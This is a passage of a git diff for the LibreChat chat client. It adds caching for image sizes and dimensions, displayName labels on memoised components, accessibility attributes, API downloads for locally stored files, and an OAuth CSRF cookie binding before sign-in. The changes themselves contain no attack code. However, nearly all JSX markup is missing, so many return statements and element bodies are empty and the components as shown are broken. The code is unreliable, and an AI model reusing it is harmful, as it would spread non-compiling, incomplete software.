+4,8 @@ import { Button, TooltipAnchor } from '@librechat/client'; import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react'; import { useLocalize } from '~/hooks'; +const imageSizeCache = new Map(); + const getQualityStyles = (quality: string): string => { if (quality === 'high') { return 'bg-green-100 text-green-800'; @@ -50,18 +52,26 @@ export default function DialogImage({ const closeButtonRef = useRef(null); const getImageSize = useCallback(async (url: string) => { + const cached = imageSizeCache.get(url); + if (cached) { + return cached; + } try { const response = await fetch(url, { method: 'HEAD' }); const contentLength = response.headers.get('Content-Length'); if (contentLength) { const bytes = parseInt(contentLength, 10); - return formatFileSize(bytes); + const result = formatFileSize(bytes); + imageSizeCache.set(url, result); + return result; } const fullResponse = await fetch(url); const blob = await fullResponse.blob(); - return formatFileSize(blob.size); + const result = formatFileSize(blob.size); + imageSizeCache.set(url, result); + return result; } catch (error) { console.error('Error getting image size:', error); return null; @@ -355,6 +365,7 @@ export default function DialogImage({ ref={imageRef} src={src} alt="Image" + decoding="async" className="block max-h-[85vh] object-contain" style={{ maxWidth: getImageMaxWidth(), diff --git a/client/src/components/Chat/Messages/Content/Files.tsx b/client/src/components/Chat/Messages/Content/Files.tsx index 8997d5e822..504e48e883 100644 --- a/client/src/components/Chat/Messages/Content/Files.tsx +++ b/client/src/components/Chat/Messages/Content/Files.tsx @@ -1,6 +1,7 @@ import { useMemo, memo } from 'react'; import type { TFile, TMessage } from 'librechat-data-provider'; import FileContainer from '~/components/Chat/Input/Files/FileContainer'; +import { getCachedPreview } from '~/utils'; import Image from './Image'; const Files = ({ message }: { message?: TMessage }) => { @@ -17,21 +18,18 @@ const Files = ({ message }: { message?: TMessage }) => { {otherFiles.length > 0 && otherFiles.map((file) => )} {imageFiles.length > 0 && - imageFiles.map((file) => ( - - ))} + imageFiles.map((file) => { + const cached = file.file_id ? getCachedPreview(file.file_id) : undefined; + return ( + + ); + })} ); }; diff --git a/client/src/components/Chat/Messages/Content/Image.tsx b/client/src/components/Chat/Messages/Content/Image.tsx index cd72733298..7e3e12e65b 100644 --- a/client/src/components/Chat/Messages/Content/Image.tsx +++ b/client/src/components/Chat/Messages/Content/Image.tsx @@ -1,27 +1,39 @@ -import React, { useState, useRef, useMemo } from 'react'; +import React, { useState, useRef, useMemo, useEffect } from 'react'; import { Skeleton } from '@librechat/client'; -import { LazyLoadImage } from 'react-lazy-load-image-component'; import { apiBaseUrl } from 'librechat-data-provider'; -import { cn, scaleImage } from '~/utils'; import DialogImage from './DialogImage'; +import { cn } from '~/utils'; + +/** Max display height for chat images (Tailwind JIT class) */ +export const IMAGE_MAX_H = 'max-h-[45vh]' as const; +/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */ +const IMAGE_MAX_W_PX = 512; + +/** Caches image dimensions by src so remounts can reserve space */ +const dimensionCache = new Map(); +/** Tracks URLs that have been fully painted — skip skeleton on remount */ +const paintedUrls = new Set(); + +/** Test-only: resets module-level caches */ +export function _resetImageCaches(): void { + dimensionCache.clear(); + paintedUrls.clear(); +} + +function computeHeightStyle(w: number, h: number): React.CSSProperties { + return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` }; +} const Image = ({ imagePath, altText, - height, - width, - placeholderDimensions, className, args, + width, + height, }: { imagePath: string; altText: string; - height: number; - width: number; - placeholderDimensions?: { - height?: string; - width?: string; - }; className?: string; args?: { prompt?: string; @@ -30,19 +42,15 @@ const Image = ({ style?: string; [key: string]: unknown; }; + width?: number; + height?: number; }) => { const [isOpen, setIsOpen] = useState(false); - const [isLoaded, setIsLoaded] = useState(false); - const containerRef = useRef(null); const triggerRef = useRef(null); - const handleImageLoad = () => setIsLoaded(true); - - // Fix image path to include base path for subdirectory deployments const absoluteImageUrl = useMemo(() => { if (!imagePath) return imagePath; - // If it's already an absolute URL or doesn't start with /images/, return as is if ( imagePath.startsWith('http') || imagePath.startsWith('data:') || @@ -51,21 +59,10 @@ const Image = ({ return imagePath; } - // Get the base URL and prepend it to the image path const baseURL = apiBaseUrl(); return `${baseURL}${imagePath}`; }, [imagePath]); - const { width: scaledWidth, height: scaledHeight } = useMemo( - () => - scaleImage({ - originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width), - originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height), - containerRef, - }), - [placeholderDimensions, height, width], - ); - const downloadImage = async () => { try { const response = await fetch(absoluteImageUrl); @@ -95,8 +92,19 @@ const Image = ({ } }; + useEffect(() => { + if (width && height && absoluteImageUrl) { + dimensionCache.set(absoluteImageUrl, { width, height }); + } + }, [absoluteImageUrl, width, height]); + + const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl); + const hasDimensions = !!(dims?.width && dims?.height); + const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined; + const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl); + return ( -
+
- {isLoaded && ( - - )} +
); }; diff --git a/client/src/components/Chat/Messages/Content/Markdown.tsx b/client/src/components/Chat/Messages/Content/Markdown.tsx index a763885d2f..1217869a2c 100644 --- a/client/src/components/Chat/Messages/Content/Markdown.tsx +++ b/client/src/components/Chat/Messages/Content/Markdown.tsx @@ -27,7 +27,7 @@ type TContentProps = { isLatestMessage: boolean; }; -const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => { +const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) { const LaTeXParsing = useRecoilValue(store.LaTeXParsing); const isInitializing = content === ''; @@ -106,5 +106,6 @@ const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => { ); }); +Markdown.displayName = 'Markdown'; export default Markdown; diff --git a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx index 7db3fa668a..1c5369955d 100644 --- a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx +++ b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx @@ -18,7 +18,10 @@ type TCodeProps = { children: React.ReactNode; }; -export const code: React.ElementType = memo(({ className, children }: TCodeProps) => { +export const code: React.ElementType = memo(function MarkdownCode({ + className, + children, +}: TCodeProps) { const canRunCode = useHasAccess({ permissionType: PermissionTypes.RUN_CODE, permission: Permissions.USE, @@ -62,8 +65,12 @@ export const code: React.ElementType = memo(({ className, children }: TCodeProps ); } }); +code.displayName = 'MarkdownCode'; -export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => { +export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({ + className, + children, +}: TCodeProps) { const match = /language-(\w+)/.exec(className ?? ''); const lang = match && match[1]; @@ -82,13 +89,14 @@ export const codeNoExecution: React.ElementType = memo(({ className, children }: return ; } }); +codeNoExecution.displayName = 'MarkdownCodeNoExecution'; type TAnchorProps = { href: string; children: React.ReactNode; }; -export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => { +export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) { const user = useRecoilValue(store.user); const { showToast } = useToastContext(); const localize = useLocalize(); @@ -111,7 +119,7 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => { }, [user?.id, href]); const { refetch: downloadFile } = useFileDownload(user?.id ?? '', file_id); - const props: { target?: string; onClick?: React.MouseEventHandler } = { target: '_new' }; + const props: { target?: string; onClick?: React.MouseEventHandler } = { target: '_blank' }; if (!file_id || !filename) { return ( @@ -163,14 +171,16 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => { ); }); +a.displayName = 'MarkdownAnchor'; type TParagraphProps = { children: React.ReactNode; }; -export const p: React.ElementType = memo(({ children }: TParagraphProps) => { +export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) { return

{children}

; }); +p.displayName = 'MarkdownParagraph'; type TImageProps = { src?: string; @@ -180,7 +190,13 @@ type TImageProps = { style?: React.CSSProperties; }; -export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => { +export const img: React.ElementType = memo(function MarkdownImage({ + src, + alt, + title, + className, + style, +}: TImageProps) { // Get the base URL from the API endpoints const baseURL = apiBaseUrl(); @@ -199,3 +215,4 @@ export const img: React.ElementType = memo(({ src, alt, title, className, style return {alt}; }); +img.displayName = 'MarkdownImage'; diff --git a/client/src/components/Chat/Messages/Content/MarkdownLite.tsx b/client/src/components/Chat/Messages/Content/MarkdownLite.tsx index 65efe2f256..24980d8a90 100644 --- a/client/src/components/Chat/Messages/Content/MarkdownLite.tsx +++ b/client/src/components/Chat/Messages/Content/MarkdownLite.tsx @@ -38,7 +38,6 @@ const MarkdownLite = memo( ]} /** @ts-ignore */ rehypePlugins={rehypePlugins} - // linkTarget="_new" components={ { code: codeExecution ? code : codeNoExecution, diff --git a/client/src/components/Chat/Messages/Content/MessageContent.tsx b/client/src/components/Chat/Messages/Content/MessageContent.tsx index 7a823a07e9..0e2e7faa2c 100644 --- a/client/src/components/Chat/Messages/Content/MessageContent.tsx +++ b/client/src/components/Chat/Messages/Content/MessageContent.tsx @@ -185,4 +185,7 @@ const MessageContent = ({ ); }; -export default memo(MessageContent); +const MemoizedMessageContent = memo(MessageContent); +MemoizedMessageContent.displayName = 'MessageContent'; + +export default MemoizedMessageContent; diff --git a/client/src/components/Chat/Messages/Content/Part.tsx b/client/src/components/Chat/Messages/Content/Part.tsx index bfa2b28fac..7bce7ac11d 100644 --- a/client/src/components/Chat/Messages/Content/Part.tsx +++ b/client/src/components/Chat/Messages/Content/Part.tsx @@ -11,6 +11,7 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider' import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts'; import { ErrorMessage } from './MessageContent'; import RetrievalCall from './RetrievalCall'; +import { getCachedPreview } from '~/utils'; import AgentHandoff from './AgentHandoff'; import CodeAnalyze from './CodeAnalyze'; import Container from './Container'; @@ -28,197 +29,213 @@ type PartProps = { attachments?: TAttachment[]; }; -const Part = memo( - ({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => { - if (!part) { +const Part = memo(function Part({ + part, + isSubmitting, + attachments, + isLast, + showCursor, + isCreatedByUser, +}: PartProps) { + if (!part) { + return null; + } + + if (part.type === ContentTypes.ERROR) { + return ( + + ); + } else if (part.type === ContentTypes.AGENT_UPDATE) { + return ( + <> + + {isLast && showCursor && ( + + + + )} + + ); + } else if (part.type === ContentTypes.TEXT) { + const text = typeof part.text === 'string' ? part.text : part.text?.value; + + if (typeof text !== 'string') { + return null; + } + if (part.tool_call_ids != null && !text) { + return null; + } + /** Handle whitespace-only text to avoid layout shift */ + if (text.length > 0 && /^\s*$/.test(text)) { + /** Show placeholder for whitespace-only last part during streaming */ + if (isLast && showCursor) { + return ( + + + + ); + } + /** Skip rendering non-last whitespace-only parts to avoid empty Container */ + if (!isLast) { + return null; + } + } + return ( + + + + ); + } else if (part.type === ContentTypes.THINK) { + const reasoning = typeof part.think === 'string' ? part.think : part.think?.value; + if (typeof reasoning !== 'string') { + return null; + } + return ; + } else if (part.type === ContentTypes.TOOL_CALL) { + const toolCall = part[ContentTypes.TOOL_CALL]; + + if (!toolCall) { return null; } - if (part.type === ContentTypes.ERROR) { + const isToolCall = + 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL); + if ( + isToolCall && + (toolCall.name === Tools.execute_code || + toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING) + ) { return ( - ); - } else if (part.type === ContentTypes.AGENT_UPDATE) { + } else if ( + isToolCall && + (toolCall.name === 'image_gen_oai' || + toolCall.name === 'image_edit_oai' || + toolCall.name === 'gemini_image_gen') + ) { return ( - <> - - {isLast && showCursor && ( + + ); + } else if (isToolCall && toolCall.name === Tools.web_search) { + return ( + + ); + } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) { + return ( + + ); + } else if (isToolCall) { + return ( + + ); + } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) { + const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER]; + return ( + + ); + } else if ( + toolCall.type === ToolCallTypes.RETRIEVAL || + toolCall.type === ToolCallTypes.FILE_SEARCH + ) { + return ( + + ); + } else if ( + toolCall.type === ToolCallTypes.FUNCTION && + ToolCallTypes.FUNCTION in toolCall && + imageGenTools.has(toolCall.function.name) + ) { + return ( + + ); + } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) { + if (isImageVisionTool(toolCall)) { + if (isSubmitting && showCursor) { + return ( - + - )} - - ); - } else if (part.type === ContentTypes.TEXT) { - const text = typeof part.text === 'string' ? part.text : part.text?.value; - - if (typeof text !== 'string') { - return null; - } - if (part.tool_call_ids != null && !text) { - return null; - } - /** Skip rendering if text is only whitespace to avoid empty Container */ - if (!isLast && text.length > 0 && /^\s*$/.test(text)) { - return null; - } - return ( - - - - ); - } else if (part.type === ContentTypes.THINK) { - const reasoning = typeof part.think === 'string' ? part.think : part.think?.value; - if (typeof reasoning !== 'string') { - return null; - } - return ; - } else if (part.type === ContentTypes.TOOL_CALL) { - const toolCall = part[ContentTypes.TOOL_CALL]; - - if (!toolCall) { - return null; - } - - const isToolCall = - 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL); - if (isToolCall && toolCall.name === Tools.execute_code) { - return ( - - ); - } else if ( - isToolCall && - (toolCall.name === 'image_gen_oai' || - toolCall.name === 'image_edit_oai' || - toolCall.name === 'gemini_image_gen') - ) { - return ( - - ); - } else if (isToolCall && toolCall.name === Tools.web_search) { - return ( - - ); - } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) { - return ( - - ); - } else if (isToolCall) { - return ( - - ); - } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) { - const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER]; - return ( - - ); - } else if ( - toolCall.type === ToolCallTypes.RETRIEVAL || - toolCall.type === ToolCallTypes.FILE_SEARCH - ) { - return ( - - ); - } else if ( - toolCall.type === ToolCallTypes.FUNCTION && - ToolCallTypes.FUNCTION in toolCall && - imageGenTools.has(toolCall.function.name) - ) { - return ( - - ); - } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) { - if (isImageVisionTool(toolCall)) { - if (isSubmitting && showCursor) { - return ( - - - - ); - } - return null; + ); } - - return ( - - ); + return null; } - } else if (part.type === ContentTypes.IMAGE_FILE) { - const imageFile = part[ContentTypes.IMAGE_FILE]; - const height = imageFile.height ?? 1920; - const width = imageFile.width ?? 1080; + return ( - ); } + } else if (part.type === ContentTypes.IMAGE_FILE) { + const imageFile = part[ContentTypes.IMAGE_FILE]; + const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined; + return ( + + ); + } - return null; - }, -); + return null; +}); +Part.displayName = 'Part'; export default Part; diff --git a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx index 1d14534e0d..31e30772dc 100644 --- a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx @@ -8,9 +8,13 @@ import { cn } from '~/utils'; const FileAttachment = memo(({ attachment }: { attachment: Partial }) => { const [isVisible, setIsVisible] = useState(false); + const file = attachment as TFile & TAttachmentMetadata; const { handleDownload } = useAttachmentLink({ href: attachment.filepath ?? '', filename: attachment.filename ?? '', + file_id: file.file_id, + user: file.user, + source: file.source, }); const extension = attachment.filename?.split('.').pop(); @@ -72,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
diff --git a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx index 1b514164df..409461a058 100644 --- a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx @@ -1,8 +1,9 @@ import { memo } from 'react'; +/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */ const EmptyTextPart = memo(() => { return ( -
+

diff --git a/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx b/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx index 729011bdbd..2f14ac0f13 100644 --- a/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/ExecuteCode.tsx @@ -67,7 +67,7 @@ export default function ExecuteCode({ const [contentHeight, setContentHeight] = useState(0); const prevShowCodeRef = useRef(showCode); - const { lang, code } = useParseArgs(args) ?? ({} as ParsedArgs); + const { lang = 'py', code } = useParseArgs(args) ?? ({} as ParsedArgs); const progress = useProgress(initialProgress); useEffect(() => { diff --git a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx index d2a303f49f..a675ff06d8 100644 --- a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx @@ -12,11 +12,7 @@ interface LogContentProps { attachments?: TAttachment[]; } -type ImageAttachment = TFile & - TAttachmentMetadata & { - height: number; - width: number; - }; +type ImageAttachment = TFile & TAttachmentMetadata; const LogContent: React.FC = ({ output = '', renderImages, attachments }) => { const localize = useLocalize(); @@ -35,12 +31,8 @@ const LogContent: React.FC = ({ output = '', renderImages, atta const nonImageAtts: TAttachment[] = []; attachments?.forEach((attachment) => { - const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata; - const isImage = - imageExtRegex.test(attachment.filename ?? '') && - width != null && - height != null && - filepath != null; + const { filepath = null } = attachment as TFile & TAttachmentMetadata; + const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null; if (isImage) { imageAtts.push(attachment as ImageAttachment); } else { @@ -65,6 +57,7 @@ const LogContent: React.FC = ({ output = '', renderImages, atta return `${filename} ${localize('com_download_expired')}`; } + const fileData = file as TFile & TAttachmentMetadata; const filepath = file.filepath || ''; // const expirationText = expiresAt @@ -72,7 +65,13 @@ const LogContent: React.FC = ({ output = '', renderImages, atta // : ` ${localize('com_click_to_download')}`; return ( - + {'- '} {filename} {localize('com_click_to_download')} @@ -93,18 +92,15 @@ const LogContent: React.FC = ({ output = '', renderImages, atta ))}

)} - {imageAttachments?.map((attachment, index) => { - const { width, height, filepath } = attachment; - return ( - - ); - })} + {imageAttachments?.map((attachment) => ( + + ))} ); }; diff --git a/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx b/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx index d328f202ee..070becf517 100644 --- a/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/LogLink.tsx @@ -1,21 +1,56 @@ import React from 'react'; +import { FileSources } from 'librechat-data-provider'; import { useToastContext } from '@librechat/client'; -import { useCodeOutputDownload } from '~/data-provider'; +import { useCodeOutputDownload, useFileDownload } from '~/data-provider'; interface LogLinkProps { href: string; filename: string; + file_id?: string; + user?: string; + source?: string; children: React.ReactNode; } -export const useAttachmentLink = ({ href, filename }: Pick) => { +interface AttachmentLinkOptions { + href: string; + filename: string; + file_id?: string; + user?: string; + source?: string; +} + +/** + * Determines if a file is stored locally (not an external API URL). + * Files with these sources are stored on the LibreChat server and should + * use the /api/files/download endpoint instead of direct URL access. + */ +const isLocallyStoredSource = (source?: string): boolean => { + if (!source) { + return false; + } + return [FileSources.local, FileSources.firebase, FileSources.s3, FileSources.azure_blob].includes( + source as FileSources, + ); +}; + +export const useAttachmentLink = ({ + href, + filename, + file_id, + user, + source, +}: AttachmentLinkOptions) => { const { showToast } = useToastContext(); - const { refetch: downloadFile } = useCodeOutputDownload(href); + + const useLocalDownload = isLocallyStoredSource(source) && !!file_id && !!user; + const { refetch: downloadFromApi } = useFileDownload(user, file_id); + const { refetch: downloadFromUrl } = useCodeOutputDownload(href); const handleDownload = async (event: React.MouseEvent) => { event.preventDefault(); try { - const stream = await downloadFile(); + const stream = useLocalDownload ? await downloadFromApi() : await downloadFromUrl(); if (stream.data == null || stream.data === '') { console.error('Error downloading file: No data found'); showToast({ @@ -39,8 +74,8 @@ export const useAttachmentLink = ({ href, filename }: Pick = ({ href, filename, children }) => { - const { handleDownload } = useAttachmentLink({ href, filename }); +const LogLink: React.FC = ({ href, filename, file_id, user, source, children }) => { + const { handleDownload } = useAttachmentLink({ href, filename, file_id, user, source }); return ( parseInt(v, 10)); - if (!isNaN(w) && !isNaN(h)) { - width = w; - height = h; - } - } else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) { - width = undefined; - height = undefined; + if (parsedArgs && typeof parsedArgs.quality === 'string') { + const q = parsedArgs.quality.toLowerCase(); + if (q === 'low' || q === 'medium' || q === 'high') { + quality = q; } - - if (argsObj && typeof argsObj.quality === 'string') { - const q = argsObj.quality.toLowerCase(); - if (q === 'low' || q === 'medium' || q === 'high') { - quality = q; - } - } - } catch (e) { - width = undefined; - height = undefined; } - // Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata const attachment = attachments?.[0]; const { - width: imageWidth, - height: imageHeight, filepath = null, filename = '', + width: imgWidth, + height: imgHeight, } = (attachment as TFile & TAttachmentMetadata) || {}; - let origWidth = width ?? imageWidth; - let origHeight = height ?? imageHeight; - - if (origWidth === undefined || origHeight === undefined) { - origWidth = 1024; - origHeight = 1024; - } - - const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' }); - const containerRef = useRef(null); - - const updateDimensions = useCallback(() => { - if (origWidth && origHeight && containerRef.current) { - const scaled = scaleImage({ - originalWidth: origWidth, - originalHeight: origHeight, - containerRef, - }); - setDimensions(scaled); - } - }, [origWidth, origHeight]); - useEffect(() => { if (isSubmitting) { setProgress(initialProgress); @@ -156,45 +116,21 @@ export default function OpenAIImageGen({ } }, [initialProgress, cancelled]); - useEffect(() => { - updateDimensions(); - - const resizeObserver = new ResizeObserver(() => { - updateDimensions(); - }); - - if (containerRef.current) { - resizeObserver.observe(containerRef.current); - } - - return () => { - resizeObserver.disconnect(); - }; - }, [updateDimensions]); - return ( <>
-
-
- {dimensions.width !== 'auto' && progress < 1 && ( - - )} +
+
+ {progress < 1 && }
diff --git a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx index 85d1b00b4b..44d646fcd8 100644 --- a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx @@ -1,4 +1,4 @@ -import { memo, useMemo, useState, useCallback, useRef } from 'react'; +import { memo, useMemo, useState, useCallback, useRef, useId } from 'react'; import { useAtom } from 'jotai'; import type { MouseEvent, FocusEvent } from 'react'; import { ContentTypes } from 'librechat-data-provider'; @@ -36,6 +36,7 @@ type ReasoningProps = { * For legacy text-based messages, see Thinking.tsx component. */ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => { + const contentId = useId(); const localize = useLocalize(); const [showThinking] = useAtom(showThinkingAtom); const [isExpanded, setIsExpanded] = useState(showThinking); @@ -104,9 +105,14 @@ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => { onClick={handleClick} label={label} content={reasoningText} + contentId={contentId} />
{ isExpanded={isExpanded} onClick={handleClick} content={reasoningText} + contentId={contentId} />
diff --git a/client/src/components/Chat/Messages/Content/Parts/Text.tsx b/client/src/components/Chat/Messages/Content/Parts/Text.tsx index c926622c9d..aec8d949e0 100644 --- a/client/src/components/Chat/Messages/Content/Parts/Text.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/Text.tsx @@ -17,7 +17,7 @@ type ContentType = | ReactElement> | ReactElement; -const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => { +const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) { const { isSubmitting = false, isLatestMessage = false } = useMessageContext(); const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown); const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]); @@ -46,5 +46,6 @@ const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) =>
); }); +TextPart.displayName = 'TextPart'; export default TextPart; diff --git a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx index 0c5992f4ab..7641738c15 100644 --- a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx +++ b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx @@ -1,4 +1,4 @@ -import { useState, useMemo, memo, useCallback, useRef, type MouseEvent } from 'react'; +import { useState, useMemo, memo, useCallback, useRef, useId, type MouseEvent } from 'react'; import { useAtomValue } from 'jotai'; import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client'; import { Lightbulb, ChevronDown, ChevronUp } from 'lucide-react'; @@ -35,12 +35,14 @@ export const ThinkingButton = memo( onClick, label, content, + contentId, showCopyButton = true, }: { isExpanded: boolean; onClick: (e: MouseEvent) => void; label: string; content?: string; + contentId: string; showCopyButton?: boolean; }) => { const localize = useLocalize(); @@ -66,6 +68,7 @@ export const ThinkingButton = memo( type="button" onClick={onClick} aria-expanded={isExpanded} + aria-controls={contentId} className={cn( 'group/button flex flex-1 items-center justify-start rounded-lg leading-[18px]', fontSize, @@ -132,11 +135,13 @@ export const FloatingThinkingBar = memo( isExpanded, onClick, content, + contentId, }: { isVisible: boolean; isExpanded: boolean; onClick: (e: MouseEvent) => void; content?: string; + contentId: string; }) => { const localize = useLocalize(); const [isCopied, setIsCopied] = useState(false); @@ -176,6 +181,8 @@ export const FloatingThinkingBar = memo( tabIndex={isVisible ? 0 : -1} onClick={onClick} aria-label={collapseTooltip} + aria-expanded={isExpanded} + aria-controls={contentId} className={cn( 'flex items-center justify-center rounded-lg bg-surface-secondary p-1.5 text-text-secondary-alt shadow-sm', 'hover:bg-surface-hover hover:text-text-primary', @@ -240,6 +247,7 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN const [isExpanded, setIsExpanded] = useState(showThinking); const [isBarVisible, setIsBarVisible] = useState(false); const containerRef = useRef(null); + const contentId = useId(); const handleClick = useCallback((e: MouseEvent) => { e.preventDefault(); @@ -295,9 +303,14 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN onClick={handleClick} label={label} content={textContent} + contentId={contentId} />
@@ -322,4 +336,4 @@ ThinkingContent.displayName = 'ThinkingContent'; FloatingThinkingBar.displayName = 'FloatingThinkingBar'; Thinking.displayName = 'Thinking'; -export default memo(Thinking); +export default Thinking; diff --git a/client/src/components/Chat/Messages/Content/ToolCall.tsx b/client/src/components/Chat/Messages/Content/ToolCall.tsx index b9feef1bad..c807288b46 100644 --- a/client/src/components/Chat/Messages/Content/ToolCall.tsx +++ b/client/src/components/Chat/Messages/Content/ToolCall.tsx @@ -1,7 +1,12 @@ -import { useMemo, useState, useEffect, useRef, useLayoutEffect } from 'react'; +import { useMemo, useState, useEffect, useRef, useCallback, useLayoutEffect } from 'react'; import { Button } from '@librechat/client'; import { TriangleAlert } from 'lucide-react'; -import { actionDelimiter, actionDomainSeparator, Constants } from 'librechat-data-provider'; +import { + Constants, + dataService, + actionDelimiter, + actionDomainSeparator, +} from 'librechat-data-provider'; import type { TAttachment } from 'librechat-data-provider'; import { useLocalize, useProgress } from '~/hooks'; import { AttachmentGroup } from './Parts'; @@ -36,9 +41,9 @@ export default function ToolCall({ const [isAnimating, setIsAnimating] = useState(false); const prevShowInfoRef = useRef(showInfo); - const { function_name, domain, isMCPToolCall } = useMemo(() => { + const { function_name, domain, isMCPToolCall, mcpServerName } = useMemo(() => { if (typeof name !== 'string') { - return { function_name: '', domain: null, isMCPToolCall: false }; + return { function_name: '', domain: null, isMCPToolCall: false, mcpServerName: '' }; } if (name.includes(Constants.mcp_delimiter)) { const [func, server] = name.split(Constants.mcp_delimiter); @@ -46,6 +51,7 @@ export default function ToolCall({ function_name: func || '', domain: server && (server.replaceAll(actionDomainSeparator, '.') || null), isMCPToolCall: true, + mcpServerName: server || '', }; } const [func, _domain] = name.includes(actionDelimiter) @@ -55,9 +61,40 @@ export default function ToolCall({ function_name: func || '', domain: _domain && (_domain.replaceAll(actionDomainSeparator, '.') || null), isMCPToolCall: false, + mcpServerName: '', }; }, [name]); + const actionId = useMemo(() => { + if (isMCPToolCall || !auth) { + return ''; + } + try { + const url = new URL(auth); + const redirectUri = url.searchParams.get('redirect_uri') || ''; + const match = redirectUri.match(/\/api\/actions\/([^/]+)\/oauth\/callback/); + return match?.[1] || ''; + } catch { + return ''; + } + }, [auth, isMCPToolCall]); + + const handleOAuthClick = useCallback(async () => { + if (!auth) { + return; + } + try { + if (isMCPToolCall && mcpServerName) { + await dataService.bindMCPOAuth(mcpServerName); + } else if (actionId) { + await dataService.bindActionOAuth(actionId); + } + } catch (e) { + logger.error('Failed to bind OAuth CSRF cookie', e); + } + window.open(auth, '_blank', 'noopener,noreferrer'); + }, [auth, isMCPToolCall, mcpServerName, actionId]); + const error = typeof output === 'string' && output.toLowerCase().includes('error processing tool'); @@ -230,7 +267,7 @@ export default function ToolCall({ className="font-mediu inline-flex items-center justify-center rounded-xl px-4 py-2 text-sm" variant="default" rel="noopener noreferrer" - onClick={() => window.open(auth, '_blank', 'noopener,noreferrer')} + onClick={handleOAuthClick} > {localize('com_ui_sign_in_to_domain', { 0: authDomain })} diff --git a/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx 